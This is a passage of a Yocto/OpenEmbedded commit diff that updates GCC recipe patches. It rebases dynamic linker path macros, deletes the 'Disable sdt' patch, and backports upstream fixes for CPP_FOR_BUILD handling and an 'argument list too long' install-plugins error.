+unchanged:
--- a/gcc/config/i386/linux64.h
+++ b/gcc/config/i386/linux64.h
@@ -27,9 +27,9 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
@@ -103,8 +98,7 @@ index 6cb68d1ccfa..7de09ec857c 100644
#undef MUSL_DYNAMIC_LINKER32
#define MUSL_DYNAMIC_LINKER32 "/lib/ld-musl-i386.so.1"
-diff --git a/gcc/config/linux.h b/gcc/config/linux.h
-index 95654bcdb5a..0c1a8118a26 100644
+unchanged:
--- a/gcc/config/linux.h
+++ b/gcc/config/linux.h
@@ -94,10 +94,10 @@ see the files COPYING3 and COPYING.RUNTIME respectively. If not, see
@@ -122,8 +116,7 @@ index 95654bcdb5a..0c1a8118a26 100644
#define BIONIC_DYNAMIC_LINKER "/system/bin/linker"
#define BIONIC_DYNAMIC_LINKER32 "/system/bin/linker"
#define BIONIC_DYNAMIC_LINKER64 "/system/bin/linker64"
-diff --git a/gcc/config/mips/linux.h b/gcc/config/mips/linux.h
-index 54446e58e5f..4786ee304c1 100644
+unchanged:
--- a/gcc/config/mips/linux.h
+++ b/gcc/config/mips/linux.h
@@ -22,20 +22,20 @@ along with GCC; see the file COPYING3. If not see
@@ -153,8 +146,7 @@ index 54446e58e5f..4786ee304c1 100644
#undef MUSL_DYNAMIC_LINKER32
#define MUSL_DYNAMIC_LINKER32 \
-diff --git a/gcc/config/riscv/linux.h b/gcc/config/riscv/linux.h
-index 4afef7c228c..01997330741 100644
+unchanged:
--- a/gcc/config/riscv/linux.h
+++ b/gcc/config/riscv/linux.h
@@ -22,7 +22,7 @@ along with GCC; see the file COPYING3. If not see
@@ -166,11 +158,10 @@ index 4afef7c228c..01997330741 100644
#define MUSL_ABI_SUFFIX \
"%{mabi=ilp32:-sf}" \
-diff --git a/gcc/config/rs6000/linux64.h b/gcc/config/rs6000/linux64.h
-index 34776c8421e..967c1c43c63 100644
+unchanged:
--- a/gcc/config/rs6000/linux64.h
+++ b/gcc/config/rs6000/linux64.h
-@@ -419,24 +419,19 @@ extern int dot_symbols;
+@@ -336,24 +336,19 @@ extern int dot_symbols;
#undef LINK_OS_DEFAULT_SPEC
#define LINK_OS_DEFAULT_SPEC "%(link_os_linux)"
@@ -200,8 +191,7 @@ index 34776c8421e..967c1c43c63 100644
#undef DEFAULT_ASM_ENDIAN
#if (TARGET_DEFAULT & MASK_LITTLE_ENDIAN)
-diff --git a/gcc/config/sh/linux.h b/gcc/config/sh/linux.h
-index c1d0441d488..81373eb8336 100644
+unchanged:
--- a/gcc/config/sh/linux.h
+++ b/gcc/config/sh/linux.h
@@ -64,7 +64,7 @@ along with GCC; see the file COPYING3. If not see
@@ -213,11 +203,10 @@ index c1d0441d488..81373eb8336 100644
#undef SUBTARGET_LINK_EMUL_SUFFIX
#define SUBTARGET_LINK_EMUL_SUFFIX "%{mfdpic:_fd;:_linux}"
-diff --git a/gcc/config/sparc/linux.h b/gcc/config/sparc/linux.h
-index 81201e67a2f..8b6fc577594 100644
+unchanged:
--- a/gcc/config/sparc/linux.h
+++ b/gcc/config/sparc/linux.h
-@@ -84,7 +84,7 @@ extern const char *host_detect_local_cpu (int argc, const char **argv);
+@@ -78,7 +78,7 @@ extern const char *host_detect_local_cpu (int argc, const char **argv);
When the -shared link option is used a final link is not being
done. */
@@ -226,11 +215,10 @@ index 81201e67a2f..8b6fc577594 100644
#undef LINK_SPEC
#define LINK_SPEC "-m elf32_sparc %{shared:-shared} \
-diff --git a/gcc/config/sparc/linux64.h b/gcc/config/sparc/linux64.h
-index a1a0efd8f28..85d1084afc2 100644
+unchanged:
--- a/gcc/config/sparc/linux64.h
+++ b/gcc/config/sparc/linux64.h
-@@ -84,8 +84,8 @@ along with GCC; see the file COPYING3. If not see
+@@ -78,8 +78,8 @@ along with GCC; see the file COPYING3. If not see
When the -shared link option is used a final link is not being
done. */
@@ -241,3 +229,19 @@ index a1a0efd8f28..85d1084afc2 100644
#ifdef SPARC_BI_ARCH
+diff -u b/gcc/config/aarch64/aarch64-linux.h b/gcc/config/aarch64/aarch64-linux.h
+--- b/gcc/config/aarch64/aarch64-linux.h
++++ b/gcc/config/aarch64/aarch64-linux.h
+@@ -21,10 +21,10 @@
+ #ifndef GCC_AARCH64_LINUX_H
+ #define GCC_AARCH64_LINUX_H
+
+-#define GLIBC_DYNAMIC_LINKER "/lib/ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
++#define GLIBC_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-linux-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
+
+ #undef MUSL_DYNAMIC_LINKER
+-#define MUSL_DYNAMIC_LINKER "/lib/ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
++#define MUSL_DYNAMIC_LINKER SYSTEMLIBS_DIR "ld-musl-aarch64%{mbig-endian:_be}%{mabi=ilp32:_ilp32}.so.1"
+
+ #undef ASAN_CC1_SPEC
+ #define ASAN_CC1_SPEC "%{%:sanitize(address):-funwind-tables}"
diff --git a/meta/recipes-devtools/gcc/gcc/0012-gcc-Fix-argument-list-too-long-error.patch b/meta/recipes-devtools/gcc/gcc/0012-gcc-Fix-argument-list-too-long-error.patch
index 88e1715b5c..ebee30bbd6 100644
--- a/meta/recipes-devtools/gcc/gcc/0012-gcc-Fix-argument-list-too-long-error.patch
+++ b/meta/recipes-devtools/gcc/gcc/0012-gcc-Fix-argument-list-too-long-error.patch
@@ -1,38 +1,35 @@
-From a22d1264049d29b90663cf5667049ae6f9b7a5ce Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:26:37 +0400
-Subject: [PATCH] gcc: Fix argument list too long error.
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 2/5] gcc: Fix "argument list too long" from install-plugins
-There would be an "Argument list too long" error when the
-build directory is longer than 200, this is caused by:
+When building in longer build paths (200+ characters), the
+"echo $(PLUGIN_HEADERS)" from the install-plugins target would cause an
+"argument list too long error" on some systems.
-headers=`echo $(PLUGIN_HEADERS) | tr ' ' '\012' | sort -u`
+Avoid this by calling make's sort function on the list which removes
+duplicates and stops the overflow from reaching the echo command.
+The original sort is left to handle the the .h and .def files.
-The PLUGIN_HEADERS is too long before sort, so the "echo" can't handle
-it, use the $(sort list) of GNU make which can handle the too long list
-would fix the problem, the header would be short enough after sorted.
-The "tr ' ' '\012'" was used for translating the space to "\n", the
-$(sort list) doesn't need this.
+2021-10-26 Richard Purdie <richard.purdie@linuxfoundation.org>
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
+gcc/ChangeLog:
-RP: gcc then added *.h and *.def additions to this list, breaking the original
-fix. Add the sort to the original gcc code, leaving the tr+sort to fix the original
-issue but include the new files too as reported by Zhuang <qiuguang.zqg@alibaba-inc.com>
+ * Makefile.in: Fix "argument list too long" from install-plugins
-Upstream-Status: Pending
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2021-October/582722.html]
+Upstream-Status: Backport [https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=66e157188bd2f789809e17e85f917534c9381599]
---
gcc/Makefile.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/gcc/Makefile.in b/gcc/Makefile.in
-index a67d2cc18d6..480c9366418 100644
---- a/gcc/Makefile.in
-+++ b/gcc/Makefile.in
-@@ -3606,7 +3606,7 @@ install-plugin: installdirs lang.install-plugin s-header-vars install-gengtype
- # We keep the directory structure for files in config or c-family and .def
- # files. All other files are flattened to a single directory.
+Index: gcc-11.2.0/gcc/Makefile.in
+===================================================================
+--- gcc-11.2.0.orig/gcc/Makefile.in
++++ gcc-11.2.0/gcc/Makefile.in
+@@ -3678,7 +3678,7 @@ install-plugin: installdirs lang.install
+ # We keep the directory structure for files in config, common/config or
+ # c-family and .def files. All other files are flattened to a single directory.
$(mkinstalldirs) $(DESTDIR)$(plugin_includedir)
- headers=`echo $(PLUGIN_HEADERS) $$(cd $(srcdir); echo *.h *.def) | tr ' ' '\012' | sort -u`; \
+ headers=`echo $(sort $(PLUGIN_HEADERS)) $$(cd $(srcdir); echo *.h *.def) | tr ' ' '\012' | sort -u`; \
diff --git a/meta/recipes-devtools/gcc/gcc/0013-Disable-sdt.patch b/meta/recipes-devtools/gcc/gcc/0013-Disable-sdt.patch
deleted file mode 100644
index 207cdb57af..0000000000
--- a/meta/recipes-devtools/gcc/gcc/0013-Disable-sdt.patch
+++ /dev/null
@@ -1,110 +0,0 @@
-From fa47586935a18ecfc2ad5586802e326e21741b7b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 29 Mar 2013 09:28:10 +0400
-Subject: [PATCH] Disable sdt.
-
-We don't list dtrace in DEPENDS so we shouldn't be depending on this header.
-It may or may not exist from preivous builds though. To be determinstic, disable
-sdt.h usage always. This avoids build failures if the header is removed after configure
-but before libgcc is compiled for example.
-
-RP 2012/8/7
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-
-Disable sdt for libstdc++-v3.
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-
-Upstream-Status: Inappropriate [hack]
----
- gcc/configure | 12 ++++++------
- gcc/configure.ac | 18 +++++++++---------
- libstdc++-v3/configure | 6 +++---
- libstdc++-v3/configure.ac | 2 +-
- 4 files changed, 19 insertions(+), 19 deletions(-)
-
-diff --git a/gcc/configure b/gcc/configure
-index b26e8fc7fee..6080f86145e 100755
---- a/gcc/configure
-+++ b/gcc/configure
-@@ -29789,12 +29789,12 @@ fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking sys/sdt.h in the target C library" >&5
- $as_echo_n "checking sys/sdt.h in the target C library... " >&6; }
- have_sys_sdt_h=no
--if test -f $target_header_dir/sys/sdt.h; then
-- have_sys_sdt_h=yes
--
--$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
--
--fi
-+#if test -f $target_header_dir/sys/sdt.h; then
-+# have_sys_sdt_h=yes
-+#
-+#$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
-+#
-+#fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $have_sys_sdt_h" >&5
- $as_echo "$have_sys_sdt_h" >&6; }
-
-diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 26fa46802c7..42be5252778 100644
---- a/gcc/configure.ac
-+++ b/gcc/configure.ac
-@@ -6190,15 +6190,15 @@ fi
- AC_SUBST([enable_default_ssp])
-
- # Test for <sys/sdt.h> on the target.
--GCC_TARGET_TEMPLATE([HAVE_SYS_SDT_H])
--AC_MSG_CHECKING(sys/sdt.h in the target C library)
--have_sys_sdt_h=no
--if test -f $target_header_dir/sys/sdt.h; then
-- have_sys_sdt_h=yes
-- AC_DEFINE(HAVE_SYS_SDT_H, 1,
-- [Define if your target C library provides sys/sdt.h])
--fi
--AC_MSG_RESULT($have_sys_sdt_h)
-+#GCC_TARGET_TEMPLATE([HAVE_SYS_SDT_H])
-+#AC_MSG_CHECKING(sys/sdt.h in the target C library)
-+#have_sys_sdt_h=no
-+#if test -f $target_header_dir/sys/sdt.h; then
-+# have_sys_sdt_h=yes
-+# AC_DEFINE(HAVE_SYS_SDT_H, 1,
-+# [Define if your target C library provides sys/sdt.h])
-+#fi
-+#AC_MSG_RESULT($have_sys_sdt_h)
-
- # Check if TFmode long double should be used by default or not.
- # Some glibc targets used DFmode long double, but with glibc 2.4
-diff --git a/libstdc++-v3/configure b/libstdc++-v3/configure
-index 9f9c5a2419a..71ed13b815b 100755
---- a/libstdc++-v3/configure
-+++ b/libstdc++-v3/configure
-@@ -22615,11 +22615,11 @@ ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
- ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
- ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-- if test $glibcxx_cv_sys_sdt_h = yes; then
-+# if test $glibcxx_cv_sys_sdt_h = yes; then
-
--$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
-+#$as_echo "#define HAVE_SYS_SDT_H 1" >>confdefs.h
-
-- fi
-+# fi
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $glibcxx_cv_sys_sdt_h" >&5
- $as_echo "$glibcxx_cv_sys_sdt_h" >&6; }
-
-diff --git a/libstdc++-v3/configure.ac b/libstdc++-v3/configure.ac
-index 699e55fd829..5c7a7bda439 100644
---- a/libstdc++-v3/configure.ac
-+++ b/libstdc++-v3/configure.ac
-@@ -241,7 +241,7 @@ GLIBCXX_CHECK_SC_NPROCESSORS_ONLN
- GLIBCXX_CHECK_SC_NPROC_ONLN
- GLIBCXX_CHECK_PTHREADS_NUM_PROCESSORS_NP
- GLIBCXX_CHECK_SYSCTL_HW_NCPU
--GLIBCXX_CHECK_SDT_H
-+#GLIBCXX_CHECK_SDT_H
-
- # Check for available headers.
- AC_CHECK_HEADERS([endian.h execinfo.h float.h fp.h ieeefp.h inttypes.h \
diff --git a/meta/recipes-devtools/gcc/gcc/0014-libtool.patch b/meta/recipes-devtools/gcc/gcc/0014-libtool.patch
index f4e70c3b18..f2b8924ebf 100644
--- a/meta/recipes-devtools/gcc/gcc/0014-libtool.patch
+++ b/meta/recipes-devtools/gcc/gcc/0014-libtool.patch
@@ -1,4 +1,4 @@
-From 6ecd478881468934444ff85611fd43f7033b1e81 Mon Sep 17 00:00:00 2001
+From a5b984db9669cf38a7bd76c3fcdb41c086f740db Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:29:11 +0400
Subject: [PATCH] libtool
diff --git a/meta/recipes-devtools/gcc/gcc/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch b/meta/recipes-devtools/gcc/gcc/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
index bc2674abcc..1ccf39ceba 100644
--- a/meta/recipes-devtools/gcc/gcc/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
+++ b/meta/recipes-devtools/gcc/gcc/0015-gcc-armv4-pass-fix-v4bx-to-linker-to-support-EABI.patch
@@ -1,4 +1,4 @@
-From de4427fa49c07dc651ee6ceaf5c5078700ca3b08 Mon Sep 17 00:00:00 2001
+From 0ae7090dec149cb2ff0c87eef87c043d4000ece1 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:30:32 +0400
Subject: [PATCH] gcc: armv4: pass fix-v4bx to linker to support EABI.
@@ -19,7 +19,7 @@ Upstream-Status: Pending
1 file changed, 5 insertions(+), 1 deletion(-)
diff --git a/gcc/config/arm/linux-eabi.h b/gcc/config/arm/linux-eabi.h
-index 0c0332f317f..7b3769e8459 100644
+index 6bd95855827..77befab5da8 100644
--- a/gcc/config/arm/linux-eabi.h
+++ b/gcc/config/arm/linux-eabi.h
@@ -91,10 +91,14 @@
diff --git a/meta/recipes-devtools/gcc/gcc/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch b/meta/recipes-devtools/gcc/gcc/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
index 1dc4bb859a..bde7ec6609 100644
--- a/meta/recipes-devtools/gcc/gcc/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
+++ b/meta/recipes-devtools/gcc/gcc/0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
@@ -1,4 +1,4 @@
-From 6b363c2c1c089ee900efa6013aefba1003840a37 Mon Sep 17 00:00:00 2001
+From 5ce8aa4615a3816d12c43752323154744517ae9f Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 09:33:04 +0400
Subject: [PATCH] Use the multilib config files from ${B} instead of using the
@@ -18,10 +18,10 @@ Upstream-Status: Inappropriate [configuration]
2 files changed, 36 insertions(+), 8 deletions(-)
diff --git a/gcc/configure b/gcc/configure
-index 6080f86145e..825a9652329 100755
+index 5160917d73e..e663052cad2 100755
--- a/gcc/configure
+++ b/gcc/configure
-@@ -12685,10 +12685,20 @@ done
+@@ -13070,10 +13070,20 @@ done
tmake_file_=
for f in ${tmake_file}
do
@@ -46,7 +46,7 @@ index 6080f86145e..825a9652329 100755
done
tmake_file="${tmake_file_}${omp_device_property_tmake_file}"
-@@ -12699,6 +12709,10 @@ tm_file_list="options.h"
+@@ -13084,6 +13094,10 @@ tm_file_list="options.h"
tm_include_list="options.h insn-constants.h"
for f in $tm_file; do
case $f in
@@ -58,10 +58,10 @@ index 6080f86145e..825a9652329 100755
f=`echo $f | sed 's/^..//'`
tm_file_list="${tm_file_list} $f"
diff --git a/gcc/configure.ac b/gcc/configure.ac
-index 42be5252778..6099eb3251f 100644
+index 50f78308e8a..2b84875b028 100644
--- a/gcc/configure.ac
+++ b/gcc/configure.ac
-@@ -2118,10 +2118,20 @@ done
+@@ -2243,10 +2243,20 @@ done
tmake_file_=
for f in ${tmake_file}
do
@@ -86,7 +86,7 @@ index 42be5252778..6099eb3251f 100644
done
tmake_file="${tmake_file_}${omp_device_property_tmake_file}"
-@@ -2132,6 +2142,10 @@ tm_file_list="options.h"
+@@ -2257,6 +2267,10 @@ tm_file_list="options.h"
tm_include_list="options.h insn-constants.h"
for f in $tm_file; do
case $f in
diff --git a/meta/recipes-devtools/gcc/gcc/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch b/meta/recipes-devtools/gcc/gcc/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
index 05f12847e9..3e0a1b4136 100644
--- a/meta/recipes-devtools/gcc/gcc/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
+++ b/meta/recipes-devtools/gcc/gcc/0017-Avoid-using-libdir-from-.la-which-usually-points-to-.patch
@@ -1,4 +1,4 @@
-From 08752c2f1d21553301bee5757c453c6a36cbe03c Mon Sep 17 00:00:00 2001
+From 75a1ce0265ca123f74f17a40ad8bd8f26d9c2ab3 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 20 Feb 2015 09:39:38 +0000
Subject: [PATCH] Avoid using libdir from .la which usually points to a host
diff --git a/meta/recipes-devtools/gcc/gcc/0018-export-CPP.patch b/meta/recipes-devtools/gcc/gcc/0018-export-CPP.patch
index 886a1221d3..86ab6574c7 100644
--- a/meta/recipes-devtools/gcc/gcc/0018-export-CPP.patch
+++ b/meta/recipes-devtools/gcc/gcc/0018-export-CPP.patch
@@ -1,50 +1,199 @@
-From 5c3d66378c7ff60ca11a875aa4aa6f8a8529d43a Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 20 Feb 2015 09:40:59 +0000
-Subject: [PATCH] export CPP
-
-The OE environment sets and exports CPP as being the target gcc. When
-building gcc-cross-canadian for a mingw targetted sdk, the following can be found
-in build.x86_64-pokysdk-mingw32.i586-poky-linux/build-x86_64-linux/libiberty/config.log:
-
-configure:3641: checking for _FILE_OFFSET_BITS value needed for large files
-configure:3666: gcc -c -isystem/media/build1/poky/build/tmp/sysroots/x86_64-linux/usr/include -O2 -pipe conftest.c >&5
-configure:3666: $? = 0
-configure:3698: result: no
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 1/5] Makefile.in: Ensure build CPP/CPPFLAGS is used for build targets
+
+During cross compiling, CPP is being set to the target compiler even for
+build targets. As an example, when building a cross compiler targetting
+mingw, the config.log for libiberty in
+build.x86_64-pokysdk-mingw32.i586-poky-linux/build-x86_64-linux/libiberty/config.log
+shows:
+
configure:3786: checking how to run the C preprocessor
-configure:3856: result: x86_64-pokysdk-mingw32-gcc -E --sysroot=/media/build1/poky/build/tmp/sysroots/x86_64-nativesdk-mingw32-pokysdk-mingw32
-configure:3876: x86_64-pokysdk-mingw32-gcc -E --sysroot=/media/build1/poky/build/tmp/sysroots/x86_64-nativesdk-mingw32-pokysdk-mingw32 conftest.c
+configure:3856: result: x86_64-pokysdk-mingw32-gcc -E --sysroot=[sysroot]/x86_64-nativesdk-mingw32-pokysdk-mingw32
+configure:3876: x86_64-pokysdk-mingw32-gcc -E --sysroot=[sysroot]/x86_64-nativesdk-mingw32-pokysdk-mingw32 conftest.c
configure:3876: $? = 0
-Note this is a *build* target (in build-x86_64-linux) so it should be
-using the host "gcc", not x86_64-pokysdk-mingw32-gcc. Since the mingw32
-headers are very different, using the wrong cpp is a real problem. It is leaking
-into configure through the CPP variable. Ultimately this leads to build
-failures related to not being able to include a process.h file for pem-unix.c.
+This is libiberty being built for the build environment, not the target one
+(i.e. in build-x86_64-linux). As such it should be using the build environment's
+gcc and not the target one. In the mingw case the system headers are quite
+different leading to build failures related to not being able to include a
+process.h file for pem-unix.c.
+
+Further analysis shows the same issue occuring for CPPFLAGS too.
+
+Fix this by adding support for CPP_FOR_BUILD and CPPFLAGS_FOR_BUILD which
+for example, avoids mixing the mingw headers for host binaries on linux
+systems.
+
+2021-10-27 Richard Purdie <richard.purdie@linuxfoundation.org>
+
+ChangeLog:
-The fix is to ensure we export a sane CPP value into the build
-environment when using build targets. We could define a CPP_FOR_BUILD value which may be
-the version which needs to be upstreamed but for now, this fix is good enough to
-avoid the problem.
+ * Makefile.tpl: Add CPP_FOR_BUILD and CPPFLAGS_FOR_BUILD support
+ * Makefile.in: Regenerate.
+ * configure: Regenerate.
+ * configure.ac: Add CPP_FOR_BUILD and CPPFLAGS_FOR_BUILD support
-RP 22/08/2013
+gcc/ChangeLog:
-Upstream-Status: Pending
+ * configure: Regenerate.
+ * configure.ac: Use CPPFLAGS_FOR_BUILD for GMPINC
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Submitted [https://gcc.gnu.org/pipermail/gcc-patches/2021-October/582727.html]
+Upstream-Status: Backport [https://gcc.gnu.org/git/?p=gcc.git;a=commitdiff;h=84401ce5fb4ecab55decb472b168100e7593e01f]
---
- Makefile.in | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/Makefile.in b/Makefile.in
-index 36e369df6e7..c717903bb13 100644
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -149,6 +149,7 @@ BUILD_EXPORTS = \
- AR="$(AR_FOR_BUILD)"; export AR; \
- AS="$(AS_FOR_BUILD)"; export AS; \
+ Makefile.in | 6 ++++++
+ Makefile.tpl | 6 ++++++
+ configure | 4 ++++
+ configure.ac | 4 ++++
+ gcc/configure | 2 +-
+ gcc/configure.ac | 2 +-
+ 6 files changed, 22 insertions(+), 2 deletions(-)
+
+Index: gcc-11.2.0/Makefile.in
+===================================================================
+--- gcc-11.2.0.orig/Makefile.in
++++ gcc-11.2.0/Makefile.in
+@@ -151,6 +151,8 @@ BUILD_EXPORTS = \
+ CC="$(CC_FOR_BUILD)"; export CC; \
+ CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
+ CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
++ CPP="$(CPP_FOR_BUILD)"; export CPP; \
++ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
+ CXX="$(CXX_FOR_BUILD)"; export CXX; \
+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
+ GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
+@@ -198,6 +200,8 @@ HOST_EXPORTS = \
+ AR="$(AR)"; export AR; \
+ AS="$(AS)"; export AS; \
+ CC_FOR_BUILD="$(CC_FOR_BUILD)"; export CC_FOR_BUILD; \
++ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
++ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ LD="$(LD)"; export LD; \
+@@ -353,6 +357,8 @@ AR_FOR_BUILD = @AR_FOR_BUILD@
+ AS_FOR_BUILD = @AS_FOR_BUILD@
+ CC_FOR_BUILD = @CC_FOR_BUILD@
+ CFLAGS_FOR_BUILD = @CFLAGS_FOR_BUILD@
++CPP_FOR_BUILD = @CPP_FOR_BUILD@
++CPPFLAGS_FOR_BUILD = @CPPFLAGS_FOR_BUILD@
+ CXXFLAGS_FOR_BUILD = @CXXFLAGS_FOR_BUILD@
+ CXX_FOR_BUILD = @CXX_FOR_BUILD@
+ DLLTOOL_FOR_BUILD = @DLLTOOL_FOR_BUILD@
+Index: gcc-11.2.0/Makefile.tpl
+===================================================================
+--- gcc-11.2.0.orig/Makefile.tpl
++++ gcc-11.2.0/Makefile.tpl
+@@ -154,6 +154,8 @@ BUILD_EXPORTS = \
CC="$(CC_FOR_BUILD)"; export CC; \
-+ CPP="$(CC_FOR_BUILD) -E"; export CPP; \
CFLAGS="$(CFLAGS_FOR_BUILD)"; export CFLAGS; \
CONFIG_SHELL="$(SHELL)"; export CONFIG_SHELL; \
++ CPP="$(CPP_FOR_BUILD)"; export CPP; \
++ CPPFLAGS="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS; \
CXX="$(CXX_FOR_BUILD)"; export CXX; \
+ CXXFLAGS="$(CXXFLAGS_FOR_BUILD)"; export CXXFLAGS; \
+ GFORTRAN="$(GFORTRAN_FOR_BUILD)"; export GFORTRAN; \
+@@ -201,6 +203,8 @@ HOST_EXPORTS = \
+ AR="$(AR)"; export AR; \
+ AS="$(AS)"; export AS; \
+ CC_FOR_BUILD="$(CC_FOR_BUILD)"; export CC_FOR_BUILD; \
++ CPP_FOR_BUILD="$(CPP_FOR_BUILD)"; export CPP_FOR_BUILD; \
++ CPPFLAGS_FOR_BUILD="$(CPPFLAGS_FOR_BUILD)"; export CPPFLAGS_FOR_BUILD; \
+ CXX_FOR_BUILD="$(CXX_FOR_BUILD)"; export CXX_FOR_BUILD; \
+ DLLTOOL="$(DLLTOOL)"; export DLLTOOL; \
+ LD="$(LD)"; export LD; \
+@@ -356,6 +360,8 @@ AR_FOR_BUILD = @AR_FOR_BUILD@
+ AS_FOR_BUILD = @AS_FOR_BUILD@
+ CC_FOR_BUILD = @CC_FOR_BUILD@
+ CFLAGS_FOR_BUILD = @CFLAGS_FOR_BUILD@
++CPP_FOR_BUILD = @CPP_FOR_BUILD@
++CPPFLAGS_FOR_BUILD = @CPPFLAGS_FOR_BUILD@
+ CXXFLAGS_FOR_BUILD = @CXXFLAGS_FOR_BUILD@
+ CXX_FOR_BUILD = @CXX_FOR_BUILD@
+ DLLTOOL_FOR_BUILD = @DLLTOOL_FOR_BUILD@
+Index: gcc-11.2.0/configure
+===================================================================
+--- gcc-11.2.0.orig/configure
++++ gcc-11.2.0/configure
+@@ -652,6 +652,8 @@ GFORTRAN_FOR_BUILD
+ DLLTOOL_FOR_BUILD
+ CXX_FOR_BUILD
+ CXXFLAGS_FOR_BUILD
++CPPFLAGS_FOR_BUILD
++CPP_FOR_BUILD
+ CFLAGS_FOR_BUILD
+ CC_FOR_BUILD
+ AS_FOR_BUILD
+@@ -4092,6 +4094,7 @@ if test "${build}" != "${host}" ; then
+ AR_FOR_BUILD=${AR_FOR_BUILD-ar}
+ AS_FOR_BUILD=${AS_FOR_BUILD-as}
+ CC_FOR_BUILD=${CC_FOR_BUILD-gcc}
++ CPP_FOR_BUILD="${CPP_FOR_BUILD-\$(CPP)}"
+ CXX_FOR_BUILD=${CXX_FOR_BUILD-g++}
+ GFORTRAN_FOR_BUILD=${GFORTRAN_FOR_BUILD-gfortran}
+ GOC_FOR_BUILD=${GOC_FOR_BUILD-gccgo}
+@@ -9809,6 +9812,7 @@ esac
+ # our build compiler if desired.
+ if test x"${build}" = x"${host}" ; then
+ CFLAGS_FOR_BUILD=${CFLAGS_FOR_BUILD-${CFLAGS}}
++ CPPFLAGS_FOR_BUILD=${CPPFLAGS_FOR_BUILD-${CPPFLAGS}}
+ CXXFLAGS_FOR_BUILD=${CXXFLAGS_FOR_BUILD-${CXXFLAGS}}
+ LDFLAGS_FOR_BUILD=${LDFLAGS_FOR_BUILD-${LDFLAGS}}
+ fi
+Index: gcc-11.2.0/configure.ac
+===================================================================
+--- gcc-11.2.0.orig/configure.ac
++++ gcc-11.2.0/configure.ac
+@@ -1347,6 +1347,7 @@ if test "${build}" != "${host}" ; then
+ AR_FOR_BUILD=${AR_FOR_BUILD-ar}
+ AS_FOR_BUILD=${AS_FOR_BUILD-as}
+ CC_FOR_BUILD=${CC_FOR_BUILD-gcc}
++ CPP_FOR_BUILD="${CPP_FOR_BUILD-\$(CPP)}"
+ CXX_FOR_BUILD=${CXX_FOR_BUILD-g++}
+ GFORTRAN_FOR_BUILD=${GFORTRAN_FOR_BUILD-gfortran}
+ GOC_FOR_BUILD=${GOC_FOR_BUILD-gccgo}
+@@ -3321,6 +3322,7 @@ esac
+ # our build compiler if desired.
+ if test x"${build}" = x"${host}" ; then
+ CFLAGS_FOR_BUILD=${CFLAGS_FOR_BUILD-${CFLAGS}}
++ CPPFLAGS_FOR_BUILD=${CPPFLAGS_FOR_BUILD-${CPPFLAGS}}
+ CXXFLAGS_FOR_BUILD=${CXXFLAGS_FOR_BUILD-${CXXFLAGS}}
+ LDFLAGS_FOR_BUILD=${LDFLAGS_FOR_BUILD-${LDFLAGS}}
+ fi
